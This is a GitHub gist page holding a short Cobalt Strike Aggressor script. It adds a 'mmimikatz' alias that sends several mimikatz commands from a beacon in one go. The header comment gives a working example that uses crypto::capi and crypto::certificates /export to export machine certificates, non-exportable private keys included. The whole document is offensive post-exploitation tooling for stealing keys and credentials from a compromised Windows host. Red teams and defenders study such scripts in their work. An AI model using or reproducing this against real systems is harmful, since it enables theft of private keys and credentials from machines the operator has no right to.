Skip to content

Instantly share code, notes, and snippets.

@OlivierLaflamme
Forked from tothi/mmimikatz.cna
Created September 21, 2022 22:50
Show Gist options
  • Save OlivierLaflamme/fbd17d0ac7fe69a6a896df52e303101f to your computer and use it in GitHub Desktop.
Save OlivierLaflamme/fbd17d0ac7fe69a6a896df52e303101f to your computer and use it in GitHub Desktop.
multi-command mimikatz functionality in a Cobalt Strike beacon
#
# multi-command mimikatz in a Cobalt Strike beacon extending the built-in mimikatz functionality
#
# cmd separator is |
#
# practical example: export machine certificates (including non-exportable private key :)):
#
# mmimikatz "crypto::capi|crypto::certificates /systemstore:local_machine /store:my /export"
#
alias mmimikatz {
bmimikatz($1, replace($2, "\\|", "\n"));
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment